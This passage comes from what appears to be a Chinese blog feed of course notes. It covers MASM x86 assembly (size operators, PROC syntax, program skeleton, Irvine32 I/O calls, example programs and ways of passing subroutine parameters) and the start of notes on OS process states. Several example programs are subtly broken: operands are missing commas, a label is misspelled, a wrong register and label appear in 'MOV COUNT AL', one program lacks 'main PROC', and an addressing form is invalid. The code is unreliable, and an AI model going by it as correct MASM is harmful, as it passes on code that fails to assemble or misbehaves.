则是变量按照类型长度去数，有多少个元素。注意下面的变量，可以没有变量名。</li><li><code>SIZE</code>则是纯一层 DUP 定义数组的大小，LENGTH 和 TYPE 的乘积。实际编程我们不用它。</li><li><code>SIZEOF</code> 则有用很多，表示变量的大小，等于 LENGTHOF 和 TYPE 返回值的乘积</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">K1  DB   10H DUP(0), 20H</span><br><span class="line">K2  DB    10H，20H，30H，40H</span><br><span class="line">DB   50H, 60H</span><br><span class="line">K3  DW  20H DUP(0,1,2 DUP(0))</span><br><span class="line">K4  DB   ‘ABCDEFGH’</span><br></pre></td></tr></table></figure><table><thead><tr><th>变量</th><th>TYPE</th><th>LENGTH</th><th>LENGTHOF</th><th>SIZE</th><th>SIZEOF</th></tr></thead><tbody><tr><td>K1</td><td>1</td><td>10H</td><td>11H</td><td>10H</td><td>11H</td></tr><tr><td>K2</td><td>1</td><td>1</td><td>4</td><td>1</td><td>4</td></tr><tr><td>K3</td><td>2</td><td>20H</td><td>80H</td><td>40H</td><td>100H</td></tr><tr><td>K4</td><td>1</td><td>1</td><td>8</td><td>1</td><td>8H</td></tr></tbody></table><p>在赋值时，有时候还可以手动指定类型长度 <code>类型+PTR+变量名</code>，相当于在使用时类型转换了。但是很多时候汇编器会根据寄存器的长度，推理出赋值的长度。</p><p>为了拆分一个字的<strong>常数</strong>，<code>HIGH/LOW</code> 修饰符就可以获得一个字的高 8 位和低 8 位。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">CONST  EQU   ABCDH</span><br><span class="line">MOV   AH ,HIGH  CONST</span><br><span class="line">MOV   AL, LOW  CONST</span><br></pre></td></tr></table></figure><h3 id="过程定义">过程定义</h3><p>主要学习定义子程序的语法，子过程的名字可以用 CALL 或者 INVOKE 调用，之后是可见属性三选一，一个模块类似于一个 C++类。寄存器列表，将会在编译过程增加指令，将这些寄存器自动压栈，ret 前自动出栈。比如<code>PROC USES EAX ECX</code>，先当于<code>PUSH EAX PUSH ECX   POP ECX POP EAX</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">子程序名字 PROC [PRIVATE/PUBLIC/EXPORT] [USES 使用的寄存器列表]</span><br><span class="line">LOCAL 局部变量定义</span><br><span class="line">指令</span><br><span class="line">ret</span><br><span class="line"></span><br><span class="line">子过程名字 ENDP</span><br></pre></td></tr></table></figure><p><code>RET</code> 指令实际上从堆栈中弹出一个值，并将程序计数器（PC）设置为该值，从而将执行流程跳转到该地址。<code>RET n</code> 是 <code>RET</code> 指令的一个变体，其中 <code>n</code> 是一个立即数，表示在从子程序返回之后，还需要从堆栈中移除的字节数。这用于清除主程序调用子程序时，压入的参数。</p><h3 id="程序结构">程序结构</h3><ul><li><code>.386</code> 指定指令集。</li><li><code>.MODEL</code> 指定内存模式，比如 flat 模式，语言模式，比如 API 调用。</li><li><code>OPTION</code> 设定语句定义，必须大小写不敏感等等。</li><li><code>INCLUDE</code> 是头文件，<code>INCLUDELIB</code> 包含库文件。</li><li><code>ExitProcess PROTO, dwExitCode:DWORD</code> 部分程序在 <code>.DATA</code> 之前，需要声明用到的 API 函数，格式是 <code>函数名字 PROTO, 参数:类型</code>，但是也可以直接 <code>INCLUDE</code> 头文件，就不用手动声明了。</li><li><code>.CONST</code> 是常量，只读不可写。之后就是代码的部分，格式基本固定的。</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">.386</span><br><span class="line">.MODEL flat,stdcall</span><br><span class="line">OPTION casemap:none</span><br><span class="line">;  &lt;一些include语句&gt;</span><br><span class="line">INCLUDE user32.inc</span><br><span class="line">INCLUDE kernel32.inc</span><br><span class="line">INCLUDELIB user32.lib</span><br><span class="line">INCLUDELIB kernel32.lib</span><br><span class="line">.STACK [堆栈段的大小]</span><br><span class="line">.DATA</span><br><span class="line">;  &lt;一些初始化过的变量定义&gt;</span><br><span class="line">.DATA?</span><br><span class="line">;  &lt;一些没有初始化过的变量定义&gt;</span><br><span class="line">.CONST</span><br><span class="line">;  &lt;一些常量定义&gt;</span><br><span class="line">.CODE</span><br><span class="line">main PROC</span><br><span class="line">;     &lt;其他语句&gt;</span><br><span class="line">main  ENDP</span><br><span class="line">END main</span><br></pre></td></tr></table></figure><p>可以在代码中调用库函数，<code>invoke  函数名[，参数1][，参数2]……</code> 比如 <code>invoke ExitProcess,NULL</code>。</p><p><code>$</code> 表示位置计数器，实际上就是当前位置的地址，这就方便计算偏移量，比如某些变量的长度等。<code>ORG 数值表达式</code> 可以设置 $ 的值，这样可以在任意位置写入，也可以保留一部分未使用的内存。</p><h3 id="Windows-的输入输出">Windows 的输入输出</h3><p>课程使用的是封装好的 Win32 SDK，叫做 Irvine32.LIB，<strong>函数调用不带参数，而是寄存器传参数</strong>。</p><p>例如：编程实现从键盘输入 16 进制数，然后以二进制形式显示输出。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">.386</span><br><span class="line">.model flat,stdcall</span><br><span class="line">.stack 4096</span><br><span class="line">ExitProcess PROTO,dwExitCode:DWORD</span><br><span class="line">INCLUDE Irvine32.inc</span><br><span class="line">INCLUDELIB Irvine32.lib</span><br><span class="line">.code</span><br><span class="line">main PROC</span><br><span class="line">call ReadHex     ;输入16进制数</span><br><span class="line">call WriteBin     ;输出二进制数</span><br><span class="line">INVOKE ExitProcess, 0</span><br><span class="line">main ENDP</span><br><span class="line">END  main</span><br></pre></td></tr></table></figure><p>简单了解一下一些函数：</p><ol><li><code>ReadChar</code> 从键盘读取一个字符， 它的 ASCII 码存在 AL，一些特殊键就为 0.</li><li><code>ReadDec</code> 从键盘读取 32 bit 无符号十进制整数，存在 EAX</li><li><code>ReadHex</code> 32bit 十六进制整数</li><li><code>ReadInt</code> 32 bit 有符号整数，第一个字符可以是 <code>+</code> <code>-</code></li><li><code>ReadKey</code> 检查键盘输入缓冲区，如果没有有按键数据则 ZF=1，有则 ZF=0，且存入 AL</li><li><code>ReadString</code> 从键盘读取一个字符串，直到用户键入回车键。EDX 是存储的变量的地址，ECX 是最大读取长度+1，读取的字符串末尾有 NULL。</li></ol><p>输出函数：</p><ul><li><code>WirteBin</code> EAX 的值二进制打印。</li><li><code>WirteBinB</code> EAX 的值，按照 EBX1,2,4 这样，显示 1，2，4 个字节。</li><li><code>WriteChar</code></li><li><code>WriteDec</code></li><li><code>WriteHex</code> 注意这个会补前置 0</li><li><code>WriteHexB</code></li><li><code>WriteInt</code></li><li><code>WriteString</code> 从 EDX 里面的地址开始，一直打印到表示结束的 0</li></ul><h2 id="程序设计基础">程序设计基础</h2><p>例题 1：输入学号查学生的数学成绩，成绩按照学号顺序排列，每个字节一个成绩。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">.386</span><br><span class="line">.model flat, stdcall</span><br><span class="line">.stack 4096</span><br><span class="line">INCLUDE Irvine.inc</span><br><span class="line">INCLUDELIB Irvine32.lib</span><br><span class="line">ExitProcess PROTO, dwExitCode:DWORD</span><br><span class="line"></span><br><span class="line">.data</span><br><span class="line">table DB 81, 78, 90, 64, 85, 76, 93, 82, 57, 80</span><br><span class="line">DB   73, 62, 87, 77, 74, 86, 95, 91, 82, 71</span><br><span class="line">math DB ?</span><br><span class="line"></span><br><span class="line">.code</span><br><span class="line">main PROC</span><br><span class="line">xor eax eax</span><br><span class="line">call ReadDec</span><br><span class="line">lea ebx table</span><br><span class="line">dec ebx</span><br><span class="line">and eax 0FH</span><br><span class="line">mov al, eax[ebx]</span><br><span class="line">mov math al</span><br><span class="line">call WriteDec</span><br><span class="line">invoke ExitProcess,0</span><br><span class="line">main ENDP</span><br><span class="line">END main</span><br></pre></td></tr></table></figure><p>例题 2：数据段的 ARY 数组中存放有 10 个无符号数，试找出其中最大者送入 MAX 单元。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">.386</span><br><span class="line">.model flat,stdcall</span><br><span class="line">.stack 4096</span><br><span class="line">ExitProcess PROTO, dwExitCode:DWORD</span><br><span class="line"></span><br><span class="line">.data</span><br><span class="line">ARY    DB     17,5,40,0,67,12,34,78,32,10</span><br><span class="line">MAX    DB   ?</span><br><span class="line">.code</span><br><span class="line">main PROC</span><br><span class="line">    LEA ESI, ARY</span><br><span class="line">    MOV AL, [ESI]</span><br><span class="line">    MOV ECX, 9</span><br><span class="line">    INC ESI</span><br><span class="line"></span><br><span class="line">NEXT:</span><br><span class="line">CMP AL, [ESI]</span><br><span class="line">JL SETMAX</span><br><span class="line">CONTINUE:</span><br><span class="line">INC ESI</span><br><span class="line">DEC ECX</span><br><span class="line">JNZ NEXT</span><br><span class="line">JMP ASSIGN</span><br><span class="line">SETMAX:</span><br><span class="line">MOV AL, [ESI]</span><br><span class="line">JMP CONTINUE</span><br><span class="line">ASSIGN:</span><br><span class="line">MOV MAX, AL</span><br><span class="line"></span><br><span class="line">INVOKE ExitProcess,0</span><br><span class="line">main ENDP</span><br><span class="line">END main</span><br></pre></td></tr></table></figure><p>例题 3：设有两个数组 X 和 Y，它们都有 8 个元素，其元素按下标从小到大的顺序存放在数据段中。完成下列计算：Z1=X1+Y1 Z2=X2-Y2 Z3=X3+Y3 , Z4=X4-Y4 Z5=X5-Y5 Z6=X6+Y6, Z7=X7+Y7 Z8=X8-Y8</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">.386</span><br><span class="line">.MODEL flat,stdcall</span><br><span class="line">.STACK  4096</span><br><span class="line">ExitProcess PROTO,dwExitCode:DWORD</span><br><span class="line">.DATA</span><br><span class="line">X  DB 0A2H,7CH,34H,9FH,0F4H,10H,39H,5BH</span><br><span class="line">Y  DB 14H,05BH,28H,7AH,0EH,13H,46H,2CH</span><br><span class="line">Z DB 8 DUP(?)</span><br><span class="line">ADDSUB DB 10011010B;0表示+，1表示-</span><br><span class="line">.CODE</span><br><span class="line">MOV ECX 8</span><br><span class="line">MOV ESI 0</span><br><span class="line">MOV BL, ADDSUB</span><br><span class="line">LOP:</span><br><span class="line">MOV AL, [ESI+X]</span><br><span class="line">SHR BL,1;设置CF</span><br><span class="line">JC SUB1;CF=1</span><br><span class="line">;加法</span><br><span class="line">ADD AL,[ESI+Y]</span><br><span class="line">JMP CONTINUE</span><br><span class="line">SUB1:</span><br><span class="line">SUB AL [ESI+Y]</span><br><span class="line">CONTINUE:</span><br><span class="line">MOV[Z+ESI],AL</span><br><span class="line">INC ESI</span><br><span class="line">LOOP LOP;相当于ECX自减，然后不为0继续跳转LOP</span><br><span class="line"></span><br><span class="line">INVOKE ExitProcess,0</span><br><span class="line">main ENDP</span><br><span class="line">END main</span><br></pre></td></tr></table></figure><p>例题 4：编写一程序，将字单元 VARW 中含 1 的个数(含 1 的个数是指用二进制表示时,有多少个 1)统计出来，存入 CONT 单元中。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">.386</span><br><span class="line">.MODEL flat,stdcall</span><br><span class="line">.STACK  4096</span><br><span class="line">ExitProcess PROTO,dwExitCode:DWORD</span><br><span class="line">.DATA</span><br><span class="line">VARW DW 1101010010001000B</span><br><span class="line">CONT DB ?</span><br><span class="line">.CODE</span><br><span class="line">main PROC</span><br><span class="line">MOV AX VARW</span><br><span class="line">MOV ECX 0</span><br><span class="line">LOP:</span><br><span class="line">SHR AX,1</span><br><span class="line">JC COUNT;CF=1</span><br><span class="line">CONTINUE:</span><br><span class="line">TEST AX, FFFFH;判断AX全0</span><br><span class="line">JNZ LOP</span><br><span class="line">JMP END0</span><br><span class="line"></span><br><span class="line">COUNT:</span><br><span class="line">INC ECX</span><br><span class="line">JMP CONTINUE</span><br><span class="line">END0:</span><br><span class="line">MOV COUNT AL</span><br><span class="line">INVOKE ExitProcess,0</span><br><span class="line">main ENDP</span><br><span class="line">END main</span><br></pre></td></tr></table></figure><h3 id="子程序">子程序</h3><p>在前面我们通过例子，学习了一般的顺序、分支、循环结构应该如何处理，这里学习如何使用子程序。最直接的方法就是寄存器传参，直接 call，子程序和写 <code>main</code> 是一样的，但是开始需要 PUSHAD，ret 前需要 POPAD。</p><p>比如下面的例子就是将 0-9 中的一位数，转换成二进制。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">.386</span><br><span class="line">.model flat, stdcall</span><br><span class="line">.stack 4096</span><br><span class="line">ExitProcess PROTO, dwExitCode:DWORD</span><br><span class="line"></span><br><span class="line">.data</span><br><span class="line">buffer8 DB 0 ; 存储转换后的ASCII字符</span><br><span class="line">NUM1 DB 7</span><br><span class="line"></span><br><span class="line">.code</span><br><span class="line">bin8ToAscii PROC</span><br><span class="line">PUSHAD</span><br><span class="line">    ADD AL, &#x27;0&#x27; ; 转换为ASCII字符</span><br><span class="line">    MOV buffer8, AL ; 将ASCII字符存储在缓冲区中</span><br><span class="line">POPAD</span><br><span class="line">    RET</span><br><span class="line">bin8ToAscii ENDP</span><br><span class="line"></span><br><span class="line">main PROC</span><br><span class="line">    MOV AL, NUM1 ; 示例8位数 (范围0-9)</span><br><span class="line">    CALL bin8ToAscii ; 转换8位数</span><br><span class="line"></span><br><span class="line">    ; 在此处，buffer8包含转换后的ASCII字符</span><br><span class="line">    ; 可以在这里继续操作，例如打印输出等</span><br><span class="line"></span><br><span class="line">    INVOKE ExitProcess,0</span><br><span class="line">main ENDP</span><br><span class="line">END main</span><br></pre></td></tr></table></figure><p>还可以地址传参，就是把需要的变量的地址，全部放在全局变量里，然后把全局变量地址放在 EBX，子程序再从 EBX 获取。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">.386</span><br><span class="line">.model flat, stdcall</span><br><span class="line">.stack 4096</span><br><span class="line">ExitProcess PROTO, dwExitCode:DWORD</span><br><span class="line"></span><br><span class="line">.data</span><br><span class="line">NUM1 DB 7</span><br><span class="line">buffer8 DB 0 ; 存储转换后的ASCII字符</span><br><span class="line">ADR DD 0</span><br><span class="line">.code</span><br><span class="line">bin8ToAscii PROC</span><br><span class="line">PUSHAD</span><br><span class="line">MOV EDI,[EBX] ;取全局变量值，也就是需要用到的变量的地址</span><br><span class="line">MOV AL,[EDI];取变量的值</span><br><span class="line">    ADD AL, &#x27;0&#x27; ; 转换为ASCII字符</span><br><span class="line">    MOV buffer8, AL ; 将ASCII字符存储在缓冲区中</span><br><span class="line">POPAD</span><br><span class="line">    RET 4</span><br><span class="line">bin8ToAscii ENDP</span><br><span class="line"></span><br><span class="line">main PROC</span><br><span class="line">    MOV ADR, OFFSET NUM1; 示例8位数 (范围0-9)</span><br><span class="line">    LEA EBX,ADE</span><br><span class="line">    CALL bin8ToAscii ; 转换8位数</span><br><span class="line"></span><br><span class="line">    ; 在此处，buffer8包含转换后的ASCII字符</span><br><span class="line">    ; 可以在这里继续操作，例如打印输出等</span><br><span class="line"></span><br><span class="line">    INVOKE ExitProcess,0</span><br><span class="line">main ENDP</span><br><span class="line">END main</span><br></pre></td></tr></table></figure><p>堆栈传参稍微复杂一些，在调用子程序之前，需要把对应的参数压栈，需要进入子程序之后，会自动加入偏移量，占一层堆栈。如果不带参数，可以这样写。<strong>注意参数压栈的顺序和自动插入的偏移量</strong>！有时候会为了恢复现场，在刚进入子程序就把寄存器压栈，ret 前再出栈，这样就重新覆盖了寄存器的值，可以保护现场，这时候也要注意堆栈变化，也要注意 PUSH POP 对应。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">.386</span><br><span class="line">.model flat, stdcall</span><br><span class="line">.stack 4096</span><br><span class="line">ExitProcess PROTO, dwExitCode:DWORD</span><br><span class="line"></span><br><span class="line">.data</span><br><span class="line">NUM1 DB 7</span><br><span class="line">buffer8 DB 0 ; 存储转换后的ASCII字符</span><br><span class="line"></span><br><span class="line">.code</span><br><span class="line">bin8ToAscii PROC</span><br><span class="line">PUSH EAX</span><br><span class="line">MOV AL,[ESP+8]</span><br><span class="line">    ADD AL, &#x27;0&#x27; ; 转换为ASCII字符</span><br><span class="line">    MOV buffer8, AL ; 将ASCII字符存储在缓冲区中</span><br><span class="line">    POP EAX</span><br><span class="line">    RET 4</span><br><span class="line">bin8ToAscii ENDP</span><br><span class="line"></span><br><span class="line">main PROC</span><br><span class="line">MOVZX EAX,NUM1</span><br><span class="line">    PUSH EAX</span><br><span class="line">    CALL bin8ToAscii ; 转换8位数</span><br><span class="line"></span><br><span class="line">    ; 在此处，buffer8包含转换后的ASCII字符</span><br><span class="line">    ; 可以在这里继续操作，例如打印输出等</span><br><span class="line"></span><br><span class="line">    INVOKE ExitProcess,0</span><br><span class="line">main ENDP</span><br><span class="line">END main</span><br></pre></td></tr></table></figure><p>可以指定保护的寄存器，这样就不用手动恢复寄存器了，寄存器之间用空格隔开。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">.386</span><br><span class="line">.model flat, stdcall</span><br><span class="line">.stack 4096</span><br><span class="line">ExitProcess PROTO, dwExitCode:DWORD</span><br><span class="line"></span><br><span class="line">.data</span><br><span class="line">NUM1 DB 7</span><br><span class="line">buffer8 DB 0 ; 存储转换后的ASCII字符</span><br><span class="line"></span><br><span class="line">.code</span><br><span class="line">bin8ToAscii PROC USES EAX</span><br><span class="line">MOV AL,[ESP+8]</span><br><span class="line">    ADD AL, &#x27;0&#x27; ; 转换为ASCII字符</span><br><span class="line">    MOV buffer8, AL ; 将ASCII字符存储在缓冲区中</span><br><span class="line">    RET 4</span><br><span class="line">bin8ToAscii ENDP</span><br><span class="line"></span><br><span class="line">main PROC</span><br><span class="line">MOVZX EAX,NUM1</span><br><span class="line">    PUSH EAX</span><br><span class="line">    CALL bin8ToAscii ; 转换8位数</span><br><span class="line"></span><br><span class="line">    ; 在此处，buffer8包含转换后的ASCII字符</span><br><span class="line">    ; 可以在这里继续操作，例如打印输出等</span><br><span class="line"></span><br><span class="line">    INVOKE ExitProcess,0</span><br><span class="line">main ENDP</span><br><span class="line">END main</span><br></pre></td></tr></table></figure><p>也可以使用 INVOKE 带参数调用，这样就不要在主程序里手动 PUSH 了，也不用手动管理堆栈，这是推荐的方式。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">.386</span><br><span class="line">.model flat, stdcall</span><br><span class="line">.stack 4096</span><br><span class="line">ExitProcess PROTO, dwExitCode:DWORD</span><br><span class="line"></span><br><span class="line">.data</span><br><span class="line">NUM1 DB 7</span><br><span class="line">buffer8 DB 0 ; 存储转换后的ASCII字符</span><br><span class="line"></span><br><span class="line">.code</span><br><span class="line">bin8ToAscii PROC USES EAX,pa1:DB</span><br><span class="line">MOV AL, pa1</span><br><span class="line">    ADD AL, &#x27;0&#x27; ; 转换为ASCII字符</span><br><span class="line">    MOV buffer8, AL ; 将ASCII字符存储在缓冲区中</span><br><span class="line">    RET 4</span><br><span class="line">bin8ToAscii ENDP</span><br><span class="line"></span><br><span class="line">main PROC</span><br><span class="line">MOVZX EAX,NUM1</span><br><span class="line">    INVOKE bin8ToAscii AL; 转换8位数</span><br><span class="line"></span><br><span class="line">    ; 在此处，buffer8包含转换后的ASCII字符</span><br><span class="line">    ; 可以在这里继续操作，例如打印输出等</span><br><span class="line"></span><br><span class="line">    INVOKE ExitProcess,0</span><br><span class="line">main ENDP</span><br><span class="line">END main</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/cs-courses/x86-masm/</id>
    <link href="https://www.blog-blockchain.xyz/cs-courses/x86-masm/"/>
    <published>2023-05-11T12:48:22.000Z</published>
    <summary>深入学习x86汇编语言编程，涵盖微处理器结构、寄存器使用、指令系统、寻址方式、程序设计等内容，基于MASM语法提供完整的汇编编程教程。</summary>
    <title>x86汇编基础</title>
    <updated>2026-02-19T16:18:01.153Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="courses" scheme="https://www.blog-blockchain.xyz/categories/courses/"/>
    <category term="OS" scheme="https://www.blog-blockchain.xyz/tags/OS/"/>
    <content>
      <![CDATA[<blockquote><ol class="series-items"><li><a href="/cs-courses/C-language-basis/" title="C语言基础">C语言基础</a></li><li><a href="/cs-courses/modular-inverses/" title="乘法逆元">乘法逆元</a></li><li><a href="/cs-courses/cpp-cryptographic-algorithm-basis/" title="信息安全算法基础">信息安全算法基础</a></li><li><a href="/cs-courses/OS/" title="操作系统基础">操作系统基础</a></li><li><a href="/cs-courses/x86-masm/" title="x86汇编基础">x86汇编基础</a></li><li><a href="/cs-courses/information-theory/" title="信息论与编码">信息论与编码</a></li></ol></blockquote><h2 id="前言">前言</h2><p>这是电子科技大学计算机系的操作系统课程的总结，笔者已经基本理解这篇文章里的内容，但是如果有不准确之处，恳请指出。在操作系统这个成熟很久的领域中，有不少作者图文并茂的介绍了操作系统地基本知识。但是，笔者认为这里地总结相对精简，直接抵达核心概念，也是阅读学习的好资料。本文很多的总结和图片都来自老师的 PPT，笔者只是学习并且结合其他资料与自己的理解，加以阐释。</p><h2 id="进程和线程">进程和线程</h2><p>进程是操作系统最核心的概念，简单的说是正在运行的程序的抽象。进程的执行模型可以分成两类，<strong>顺序执行</strong>和<strong>并行执行</strong>，前者效率低，后者硬件要求高。我们整个课程都是只考虑<strong>并发执行</strong>，也就是微观上顺序执行，宏观上并行执行。进程＝进程控制块＋程序＋相关数据，<strong>进程之间各自独立、不可预知速度地并发执行</strong>。</p><h3 id="进程的状态">进程的状态</h3><p>进程有三种基本状态，进程都在内存中：</p><p>**就绪状态：**进程已分配到除 CPU 以外的所有必要资源后，只要再获得 CPU，便可立即执行。</p><p>**执行状态：**进程已获得 CPU，其程序正在执行。</p><p>**阻塞状态：**放弃处理机而处于暂停状态。处理机指计算机系统中存储程序和数据，并按照程序规定的步骤执行指令的部件。</p><img src="http://cdn.blog-blockchain.xyz/202212121700982.png" alt="图片1" style="zoom:50%;" /><p>注意就绪不能直接到阻塞，阻塞也不能直接执行。</p><p>进程还有其他状态：</p><ul><li>New：新建了进程对象，PCB（程序控制块） 在内存，但是程序指令存储在硬盘。</li><li>Exit：进程彻底停止，并且释放内存。</li><li>挂起状态：进程被暂时调离内存。就绪挂起只要程序进入内存就可以运行；阻塞挂起定义模糊，等待事件就会变成就绪挂起。一般时放在交换区，不再竞争 CPU。</li></ul><img src="http://cdn.blog-blockchain.xyz/202212131011289.png" alt="image-20221213101111199" style="zoom: 50%;" /><h3 id="进程的描述">进程的描述</h3><p>单独的进程可以拆解为：</p><ul><li>进程映像：程序、数据、堆、栈的集合。</li><li>程序控制块。用于控制程序的行为，主要包括：<ul><li>进程标识信息。每个进程都分配了唯一的标识符，用于引用进程，表示父进程和子进程的关系。</li><li>处理器状态信息。CPU 